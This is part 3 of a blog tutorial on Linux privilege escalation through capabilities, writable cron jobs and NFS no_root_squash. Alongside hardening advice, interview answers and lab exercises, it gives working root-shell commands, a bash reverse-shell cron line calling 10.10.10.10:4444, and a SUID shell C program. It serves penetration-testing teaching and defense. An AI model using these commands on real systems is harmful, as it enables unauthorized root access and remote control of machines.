August 6, 2026
Mastering Linux Privilege Escalation Basics: (part 3)
By Youssefelkahkyy
12 min read
Chapter 4: Linux Capabilities
What Are Capabilities?
Linux capabilities are fine-grained privileges that can be assigned to processes and files. Traditionally, Linux had two privilege levels: regular user and root. Root could do everything. Capabilities were introduced to break the "all or nothing" model of root privileges. Instead of giving a program full root access, you can grant it only the specific privileges it needs.
Why Do Capabilities Exist?
Capabilities solve the SUID problem. SUID binaries run with full root privileges even if they only need one specific capability. For example, ping needs the ability to send raw ICMP packets (CAP_NET_RAW). With SUID, ping runs as root and could theoretically do anything. With capabilities, ping only has CAP_NET_RAW.
How Capabilities Work Internally
Capabilities are organized into sets:
- Permitted: The maximum set of capabilities a process can have.
- Effective: The capabilities currently active for the process.
- Inheritable: Capabilities that can be inherited by child processes.
- Bounding: A limit on what capabilities can be gained.
When a file has capabilities, they are stored in extended file attributes.
Enumerating Capabilities
The essential command:
bash
getcap -r / 2>/dev/nullgetcap -r / 2>/dev/nullPurpose: Recursively search the file system for files with capabilities. Syntax: getcap [options] [path] Options Explained:
-r: Recursive search.2>/dev/null: Suppress permission denied errors.
Expected Output:
plain
/usr/bin/ping = cap_net_raw+ep
/usr/bin/python3.8 = cap_setuid+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep/usr/bin/ping = cap_net_raw+ep
/usr/bin/python3.8 = cap_setuid+ep
/usr/bin/traceroute6.iputils = cap_net_raw+epWhen Penetration Testers Use It: After checking SUID and sudo, capabilities are the next logical step. A binary with cap_setuid+ep is essentially a SUID binary in disguise.
Common Mistake: Beginners see cap_net_raw on ping and ignore it because it is standard. They miss custom binaries with dangerous capabilities like cap_setuid, cap_dac_read_search, or cap_sys_admin.
Attack Simulation: Python with cap_setuid
Discovery:
bash
www-data@target:~$ getcap -r / 2>/dev/null
/usr/bin/python3 = cap_setuid+epwww-data@target:~$ getcap -r / 2>/dev/null
/usr/bin/python3 = cap_setuid+epExploitation:
bash
www-data@target:~$ /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@target:~# id
uid=0(root) gid=33(www-data) groups=33(www-data)www-data@target:~$ /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@target:~# id
uid=0(root) gid=33(www-data) groups=33(www-data)Why It Works: The cap_setuid capability allows the process to change its UID to any value, including 0 (root). Even though Python is not SUID root, the capability grants the same power.
Mitigation: Remove unnecessary capabilities: setcap -r /usr/bin/python3. Audit capabilities regularly.
Security Recommendations
- Use
getcapandsetcapto audit and manage capabilities. - Remove capabilities from binaries that do not need them.
- Prefer capabilities over SUID, but apply the principle of least privilege.
- Monitor for unusual capability assignments.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Chapter 5: Cron Jobs
What Are Cron Jobs?
Cron is a time-based job scheduler in Unix-like operating systems. Administrators use cron to automate repetitive tasks: backups, log rotation, system updates, and health checks. Cron jobs are defined in crontabs — configuration files that specify when and what to run.
Why Do Cron Jobs Exist?
Automation is essential for system administration. Without cron, administrators would need to manually run maintenance tasks at specific times. Cron ensures that critical operations happen reliably and on schedule.
How Cron Works Internally
plain
Time Matches Schedule?
|
+----+----+
| |
Yes No
| |
v v
Execute Wait
Command Next Minute
|
v
Log Output
(if configured)Time Matches Schedule?
|
+----+----+
| |
Yes No
| |
v v
Execute Wait
Command Next Minute
|
v
Log Output
(if configured)Cron checks every minute whether any job's schedule matches the current time. If so, it executes the command as the specified user.
How Attackers Enumerate Cron Jobs
Essential commands:
bash
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
crontab -lcat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
crontab -lPurpose: Discover scheduled tasks and identify ownership, permissions, and command paths. Syntax: crontab -l lists the current user's cron jobs. Common Mistake: Beginners only check /etc/crontab and forget user-specific crontabs or the modular directories.
Common Privilege Escalation Opportunities
- Writable Cron Scripts
If a script executed by root's cron job is writable by your user, you own the system.
bash
ls -la /etc/cron.daily/backup
-rwxrwxrwx 1 root root 234 Jan 10 08:00 /etc/cron.daily/backupls -la /etc/cron.daily/backup
-rwxrwxrwx 1 root root 234 Jan 10 08:00 /etc/cron.daily/backupThe rwxrwxrwx permissions mean anyone can modify it. Inject a reverse shell or spawn a root shell.
- Writable Cron Directories
If /etc/cron.d/ is writable, create a new cron job:
bash
echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' > /etc/cron.d/reverse_shellecho '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' > /etc/cron.d/reverse_shell- PATH Abuse in Cron Jobs
As demonstrated in the PATH hijacking chapter, cron jobs that do not specify absolute paths or sanitize PATH are vulnerable.
- Wildcards in Cron
Some cron implementations or scripts using wildcards can be abused. If a backup script does:
bash
tar czf /backups/backup.tar.gz /home/user/*tar czf /backups/backup.tar.gz /home/user/*And the user can create files in /home/user/, they can exploit tar's command execution features via specially named files.
Attack Simulation: Writable Cron Script
Discovery:
bash
www-data@target:~$ cat /etc/crontab
0 * * * * root /usr/local/bin/db_backup.sh
www-data@target:~$ ls -la /usr/local/bin/db_backup.sh
-rwxr-xrwx 1 root root 156 Jan 12 14:22 /usr/local/bin/db_backup.shwww-data@target:~$ cat /etc/crontab
0 * * * * root /usr/local/bin/db_backup.sh
www-data@target:~$ ls -la /usr/local/bin/db_backup.sh
-rwxr-xrwx 1 root root 156 Jan 12 14:22 /usr/local/bin/db_backup.shNotice the last three permission bits: rwx. Others can write to this file.
Exploitation:
bash
www-data@target:~$ echo '#!/bin/bash' > /usr/local/bin/db_backup.sh
www-data@target:~$ echo 'chmod u+s /bin/bash' >> /usr/local/bin/db_backup.sh
www-data@target:~$ chmod +x /usr/local/bin/db_backup.shwww-data@target:~$ echo '#!/bin/bash' > /usr/local/bin/db_backup.sh
www-data@target:~$ echo 'chmod u+s /bin/bash' >> /usr/local/bin/db_backup.sh
www-data@target:~$ chmod +x /usr/local/bin/db_backup.shWait up to one hour. When cron executes the script, /bin/bash gets the SUID bit set. Then:
bash
/bin/bash -p/bin/bash -pWhy It Works: The script runs as root. Any command it executes runs as root. By making /bin/bash SUID, we create a persistent privilege escalation mechanism.
Mitigation: Ensure cron scripts are owned by root and not writable by group or others. Use chmod 755 or stricter. Audit cron jobs regularly.
Security Recommendations
- Restrict permissions on all cron-related files and directories.
- Use absolute paths in all cron jobs.
- Redirect output to logs to detect tampering.
- Monitor
/var/log/syslogor/var/log/cronfor unexpected cron activity.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Chapter 6: NFS
What Is NFS?
NFS stands for Network File System. It is a distributed file system protocol that allows a computer to access files over a network as if they were on its local storage. NFS is common in enterprise environments for shared home directories, application deployments, and centralized storage.
Why Does NFS Exist?
Before NFS, sharing files between Unix systems required copying them manually or using protocols like FTP. NFS provides transparent, seamless file sharing. Users can mount remote directories and work with them as if they were local.
How NFS Works Internally
plain
Client Request
|
v
NFS Protocol (RPC)
|
v
Server Export
|
v
Permission Check:
- Is client IP allowed?
- Is user ID mapped?
- What are export options?
|
v
Serve File or DenyClient Request
|
v
NFS Protocol (RPC)
|
v
Server Export
|
v
Permission Check:
- Is client IP allowed?
- Is user ID mapped?
- What are export options?
|
v
Serve File or DenyNFS relies on RPC (Remote Procedure Call) and typically operates over port 2049.
NFS Export Configuration
The server defines exports in /etc/exports:
plain
/home/user 192.168.1.0/24(rw,sync,no_subtree_check)
/shared *(rw,sync,no_root_squash)/home/user 192.168.1.0/24(rw,sync,no_subtree_check)
/shared *(rw,sync,no_root_squash)Options Explained:
rw: Read and write permissions.ro: Read-only.sync: Synchronous writes (safer).async: Asynchronous writes (faster, riskier).no_root_squash: Do not map root UID (0) tonobody. Extremely dangerous.root_squash: Map root UID tonobody(default and recommended).all_squash: Map all UIDs tonobody.
How Attackers Enumerate NFS
On the target system:
bash
showmount -e localhost
cat /etc/exportsshowmount -e localhost
cat /etc/exportsFrom an attacker's machine:
bash
showmount -e <target_ip>showmount -e <target_ip>Purpose: List exported directories on an NFS server. Syntax: showmount -e [host] Options:
-e: Export list.-a: List all mount points and clients.
Expected Output:
plain
Export list for target:
/shared *
/home/user 192.168.1.0/24Export list for target:
/shared *
/home/user 192.168.1.0/24Common Mistake: Beginners see NFS exports and assume they need to exploit the NFS service itself. Often, the vulnerability is in the configuration — specifically no_root_squash combined with write access.
Common Privilege Escalation Opportunities
1. no_root_squash with Writable Export
If an export has no_root_squash and is writable, an attacker can:
- Mount the export on their attack machine.
- Create a SUID binary as root on their local machine.
- The SUID bit and root ownership are preserved on the server.
- Execute the binary on the target to gain root.
2. Writable Export with UID Misconfiguration
If the export is writable and the attacker knows a user's UID on the target, they can create files with that UID and potentially overwrite SSH keys or cron jobs.
Attack Simulation: Exploiting no_root_squash
Discovery (on target):
bash
www-data@target:~$ showmount -e localhost
Export list for localhost:
/backups *
www-data@target:~$ cat /etc/exports
/backups *(rw,sync,no_root_squash)www-data@target:~$ showmount -e localhost
Export list for localhost:
/backups *
www-data@target:~$ cat /etc/exports
/backups *(rw,sync,no_root_squash)Exploitation (from attack machine):
bash
attacker@kali:~$ mkdir /tmp/nfs_mount
attacker@kali:~$ mount -t nfs target:/backups /tmp/nfs_mount
attacker@kali:~$ cd /tmp/nfs_mount
attacker@kali:~$ echo '#include <stdio.h>' > shell.c
attacker@kali:~$ echo '#include <stdlib.h>' >> shell.c
attacker@kali:~$ echo '#include <unistd.h>' >> shell.c
attacker@kali:~$ echo 'int main() { setuid(0); setgid(0); system("/bin/bash -p"); return 0; }' >> shell.c
attacker@kali:~$ gcc shell.c -o root_shell
attacker@kali:~$ chmod u+s root_shell
attacker@kali:~$ ls -la root_shell
-rwsr-xr-x 1 root root 16728 ... root_shellattacker@kali:~$ mkdir /tmp/nfs_mount
attacker@kali:~$ mount -t nfs target:/backups /tmp/nfs_mount
attacker@kali:~$ cd /tmp/nfs_mount
attacker@kali:~$ echo '#include <stdio.h>' > shell.c
attacker@kali:~$ echo '#include <stdlib.h>' >> shell.c
attacker@kali:~$ echo '#include <unistd.h>' >> shell.c
attacker@kali:~$ echo 'int main() { setuid(0); setgid(0); system("/bin/bash -p"); return 0; }' >> shell.c
attacker@kali:~$ gcc shell.c -o root_shell
attacker@kali:~$ chmod u+s root_shell
attacker@kali:~$ ls -la root_shell
-rwsr-xr-x 1 root root 16728 ... root_shellExecution (on target):
bash
www-data@target:~$ /backups/root_shell
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)www-data@target:~$ /backups/root_shell
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)Why It Works: no_root_squash tells the NFS server to honor UID 0 from the client. When the attacker creates a file as root on their machine, the server sees it as root-owned. The SUID bit is preserved, and execution on the target yields a root shell.
Mitigation: Never use no_root_squash on exports accessible to untrusted clients. Always use root_squash (the default). Restrict exports to specific IP ranges.
Security Recommendations
- Always use
root_squashon NFS exports. - Restrict NFS exports to specific, trusted client IPs or networks.
- Use Kerberos authentication for NFSv4 when possible.
- Regularly audit
/etc/exports. - Monitor for unauthorized NFS mounts.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Internal Mechanics: What Happens Behind the Scenes?
When you execute a command in Linux, the kernel performs a complex dance of permission checks. Understanding this dance makes you a better penetration tester and a better defender.
The Permission Check Flow
plain
Process Requests Action
|
v
Is Process UID 0?
|
+----+----+
| |
Yes No
| |
v v
Allow Check File
Permissions:
- Owner?
- Group?
- Other?
|
+----+----+
| |
Yes No
| |
v v
Allow DenyProcess Requests Action
|
v
Is Process UID 0?
|
+----+----+
| |
Yes No
| |
v v
Allow Check File
Permissions:
- Owner?
- Group?
- Other?
|
+----+----+
| |
Yes No
| |
v v
Allow DenyPrivilege escalation techniques work by finding ways to bypass this flow — either by becoming UID 0 (sudo, SUID, capabilities) or by tricking a process that is already UID 0 into executing attacker-controlled code (PATH hijacking, cron, NFS).
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Common Mistakes Beginners Make
- Giving Up Too Early: A single failed
sudo -ldoes not mean privilege escalation is impossible. There are five other techniques in this article alone. - Ignoring Custom Binaries: Beginners see
/usr/bin/passwdwith SUID and ignore it. Then they miss/usr/local/bin/custom_toolthat is exploitable. - Not Checking Versions: A binary might be SUID and exploitable due to a known CVE. Always check versions.
- Overlooking Environment Variables: PATH, LD_PRELOAD, and other environment variables are powerful attack vectors that beginners frequently ignore.
- Forgetting About Groups: Sometimes privilege escalation is not about becoming root immediately, but about leveraging group memberships to access sensitive files or directories.
- Running Exploits Blindly: Copying random kernel exploits from GitHub without understanding them can crash the system and alert defenders.
- Neglecting the Defensive Perspective: Understanding how defenders detect these techniques makes you a more effective attacker and a more valuable consultant.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Defensive Perspective
Hardening Sudo
- Use
visudofor all edits. - Apply the principle of least privilege: grant only specific commands to specific users.
- Avoid
NOPASSWDwhenever possible. - Never grant sudo access to editors, pagers, or interpreters.
- Use aliases to simplify and standardize configurations.
Hardening SUID
- Regularly audit with
find / -perm -4000 -type f. - Remove SUID from binaries that do not need it.
- Replace SUID with capabilities or sudo where possible.
- Monitor for new SUID binaries appearing on the system.
Hardening PATH
- Always use absolute paths in scripts running as root.
- Sanitize PATH at the beginning of sensitive scripts.
- Do not allow untrusted users to write to directories in PATH.
Hardening Capabilities
- Audit with
getcap. - Remove unnecessary capabilities.
- Prefer dropping capabilities in application code when possible.
Hardening Cron
- Restrict permissions on cron directories (
/etc/cron.*). - Use absolute paths in all cron jobs.
- Log cron output to detect anomalies.
- Consider migrating to systemd timers for better security controls.
Hardening NFS
- Never use
no_root_squash. - Restrict client access by IP.
- Use NFSv4 with Kerberos for authentication.
- Monitor mount requests and access patterns.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Interview Questions
Here are ten realistic interview questions you might encounter, with detailed answers.
Q1: What is the difference between SUID and SGID? A: SUID (Set User ID) causes a file to execute with the privileges of the file's owner. SGID (Set Group ID) causes a file to execute with the privileges of the file's group. For directories, SGID ensures new files inherit the directory's group ownership. SUID is represented by 4000 in octal; SGID is 2000.
Q2: How would you escalate privileges if you found a SUID binary that uses system() with user input? A: I would inject shell metacharacters into the input to execute arbitrary commands. For example, if the binary calls system("cat " + user_input), I would supply ; /bin/bash -p or whoami to execute commands as the file owner (root). The -p flag preserves privileges when spawning bash.
Q3: What is the danger of NOPASSWD in sudoers? A: NOPASSWD allows a user to execute sudo commands without authenticating. If an attacker compromises that user's account, they can immediately execute privileged commands without needing the user's password. This removes a critical layer of security.
Q4: Explain PATH hijacking and how you would prevent it. A: PATH hijacking exploits the shell's command resolution order. An attacker places a malicious executable in a directory that appears earlier in PATH than the legitimate command. Prevention involves using absolute paths in all scripts that run with elevated privileges and explicitly setting a sanitized PATH variable at the start of those scripts.
Q5: What is no_root_squash in NFS, and why is it dangerous? A: no_root_squash is an NFS export option that prevents the server from mapping UID 0 (root) from the client to the unprivileged nobody user. This means a client root user can create root-owned files on the server, including SUID binaries. Combined with a writable export, this allows trivial remote privilege escalation.
Q6: How do Linux capabilities improve security over SUID? A: Capabilities provide fine-grained privilege control. Instead of granting a program full root access via SUID, capabilities allow you to assign only the specific privileges the program needs (e.g., CAP_NET_RAW for ping). This follows the principle of least privilege and reduces the attack surface.
Q7: You find a cron job running a script that is writable by everyone. What is the risk? A: Any user can modify the script. Since cron executes it as the job's owner (often root), an attacker can inject arbitrary commands that execute with root privileges. This is a direct and reliable privilege escalation vector.
Q8: What command would you run first to check for sudo privileges, and what does the output tell you? A: sudo -l. The output shows which commands the current user can execute as root (or other users), whether a password is required, and any restrictions. This immediately reveals potential privilege escalation paths, such as access to shell-escaping programs or scripting languages.
Q9: How can you identify files with capabilities? A: Use getcap -r / 2>/dev/null. This recursively searches the file system for files with capability attributes. Look for dangerous capabilities like cap_setuid, cap_dac_override, or cap_sys_admin on non-standard binaries.
Q10: Describe a complete privilege escalation workflow from a low-privileged shell. A: First, identify the current user and groups with whoami and id. Then run sudo -l to check for sudo misconfigurations. Next, search for SUID binaries with find / -perm -4000 -type f 2>/dev/null. Check for capabilities with getcap -r / 2>/dev/null. Examine cron jobs in /etc/crontab and /etc/cron.d/. Check for NFS misconfigurations with cat /etc/exports. Look for writable files and directories. Finally, check kernel version and running services for additional vectors. Prioritize based on likelihood and stealth requirements.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Hands-On Exercises
Exercise 1: Sudo Shell Escape (Beginner)
Setup: On a virtual machine, add the following to /etc/sudoers:
plain
testuser ALL=(root) NOPASSWD: /usr/bin/lesstestuser ALL=(root) NOPASSWD: /usr/bin/lessTask: As testuser, use sudo less to spawn a root shell. Hint: Inside less, type !/bin/bash.
Exercise 2: SUID Binary Exploitation (Beginner)
Setup: Create a SUID binary owned by root:
bash
cat > /tmp/vuln.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
system("/bin/echo Hello, World!");
return 0;
}
EOF
gcc /tmp/vuln.c -o /usr/local/bin/vuln_suid
chown root:root /usr/local/bin/vuln_suid
chmod u+s /usr/local/bin/vuln_suidcat > /tmp/vuln.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
system("/bin/echo Hello, World!");
return 0;
}
EOF
gcc /tmp/vuln.c -o /usr/local/bin/vuln_suid
chown root:root /usr/local/bin/vuln_suid
chmod u+s /usr/local/bin/vuln_suidTask: Exploit the binary to spawn a root shell. Research how system() can be abused via environment variables.
Exercise 3: PATH Hijacking (Intermediate)
Setup: Create a root-owned script in /usr/local/bin/check.sh:
bash
#!/bin/bash
ps aux | grep apache > /dev/null
echo "Check complete"#!/bin/bash
ps aux | grep apache > /dev/null
echo "Check complete"Add it to root's crontab to run every minute. Ensure /tmp is writable. Task: Hijack the ps command to spawn a root shell.
Exercise 4: Capabilities Abuse (Intermediate)
Setup: Assign a capability to Python:
bash
setcap cap_setuid+ep /usr/bin/python3setcap cap_setuid+ep /usr/bin/python3Task: As a low-privileged user, use Python to set your UID to 0 and spawn a shell.
Exercise 5: Cron Job Exploitation (Intermediate)
Setup: Create a cron job that runs /usr/local/bin/backup.sh as root every minute. Make the script world-writable. Task: Modify the script to add your user to the sudoers file or to set the SUID bit on /bin/bash.
Exercise 6: NFS no_root_squash (Advanced)
Setup: Configure an NFS export with no_root_squash:
plain
/shared *(rw,sync,no_root_squash)/shared *(rw,sync,no_root_squash)Task: From a client machine, mount the export, create a SUID root shell binary, and execute it on the server to gain root.
Exercise 7: Comprehensive Enumeration (Advanced)
Setup: Build a vulnerable VM with at least three of the misconfigurations described in this article. Task: Starting from a low-privileged shell, find and exploit all three vectors. Document your enumeration process and exploitation steps.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Conclusion
Linux privilege escalation is a skill built on patience, systematic enumeration, and deep understanding of how the operating system works. The techniques in this article — sudo, SUID, PATH hijacking, capabilities, cron jobs, and NFS — are not exotic. They appear constantly in the real world because administrators are human, deadlines are tight, and configurations drift over time.
Your job as an ethical hacker is to find these oversights before malicious actors do. Every privilege escalation path you close makes the organization safer. Every technique you master makes you more valuable.
You started this article as www-data on a compromised web server. Now you have the knowledge to hunt for root. The shell is yours to escalate.